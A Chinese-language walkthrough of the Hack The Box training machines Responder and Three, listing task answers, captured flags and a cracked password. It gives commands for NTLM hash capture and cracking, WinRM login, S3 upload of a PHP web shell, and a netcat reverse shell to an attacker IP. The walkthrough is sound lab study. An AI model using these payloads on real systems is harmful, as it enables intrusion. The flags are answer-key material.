Tier 1

248 阅读2分钟

machine : Responder

image.png

image.png

Task 1 : unika.htb

image.png 直接用ip访问试试

image.png

重定向到了域名 unika.htb

    # vim /etc/hosts
    
    插入内容为:
    10.129.221.19 unika.htb
    

image.png

再次访问unika.htb:

image.png

Task 2 : php

image.png

    # whatweb 10.129.221.19:80
    

image.png

Task 3 : page

image.png

image.png

Task 4 : ../../../../../../../../windows/system32/drivers/etc/hosts

image.png

Task 5 : //10.10.14.6/somefile

image.png

Task 6 : New Technology Lan Manager

image.png

关于NTLM认证: blog.csdn.net/weixin_4918…

Task 7 : -I

image.png

    # responder --help
    
    

image.png

关于responder的用法以及原理: blog.csdn.net/m0_56010012…

Task 8 : John The Ripper

image.png

Task 9 : badminton

image.png

    # esponder -I tun0
    # john -w=/usr/share/wordlists/rockyou.txt hash.txt

image.png

image.png

image.png

image.png

Task 10 : 5985

image.png

    # nmap --min-rate 5000 -p- -sV 10.129.221.19
    
    

image.png

Task 11 : ea81b7afddd03efaa0945333ed147fac

image.png

    # evil-winrm -i 10.129.221.19 -u administrator -p badminton
    

image.png

WinRM就如同ssh

image.png

machine : Three

image.png

image.png

Task 1 : 2

    # nmap --min-rate 5000 -p- -sV 10.129.25.80

image.png

image.png

Task 2 : thetoppers.htb

image.png

从网页信息中挖掘到了一个域名,稍后可以看看是如何利用该域名的 image.png

Task 3 : /etc/hosts

image.png

Task 4 : s3.thetoppers.htb

image.png

涉及子域枚举问题,用gobuster的DNS模式试试:

    # gobuster dns -d thetoppers.htb --wordlist /usr/share/amass/wordlists/subdomains.lst
    
    //用的字典实际上位于/usr/share/wordlists/amass/下,选一个子域名字典就够了
    //上面指令中的路径是因为超链接。其实两种路径都一样
    

image.png

可见DNS解析方面出了问题,local DNS服务器不知道thetoppers.htb该域名对应的ip,故无法解析

需要手动在hosts文件里配置:

    # vim /etc/hosts
    插入内容为:
    10.129.25.80 thetoppers.htb
    
    

image.png

再次gobuster就成功了:

5EIL8K@`6MA}@WZ956%{WFR.png

然后把s3.thetoppers.htb也添加到hosts文件中:

image.png

浏览器访问:

image.png

Task 5 : Amazon S3

快速搜索谷歌,包含关键字“s3子域状态正在运行”,返回这个结果: Amazon S3是一个基于云的对象存储服务。它能让我们把东西储存在桶里。AWS S3桶有各种各样的用例,包括备份和存储、媒体托管、软件交付、静态网站等。存储在Amazon S3桶中的文件称为S3对象。

image.png

Task 6 : awscli

image.png

    # apt install awscli

Task 7 : aws configure

image.png

    # aws configure
    

image.png

Task 8 : aws s3 ls

image.png

    # aws --endpoint=http://s3.thetoppers.htb s3 ls
    
    

image.png

Task 9 : PHP

image.png

    # aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
    
    

image.png

Task 10 : a980d99281a28d638ac68b9bf9453c2b

image.png

    # echo '<?php system($_GET["cmd"]); ?>' > shell.php   //获取webshell的php代码
    # ehco '<?php system($_REQUEST[0]); ?>' > shell2.php   //也是获取webshell的代码,不过指令要用?0=指令 的方式输入
    # aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb   /将php文件上传到靶机
    
    

image.png

image.png

其实到这里已经可以获取到flag了:

image.png

下面还想获取reverse shell:

    # vim shell.sh
    内容为:
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.224 9443 >/tmp/f

内容也可以为:
image.png

image.png

    # nc -lnvp 9443
    # python3 -m http.server 8000
    
    

image.png

image.png

image.png

成功拿到reverse shell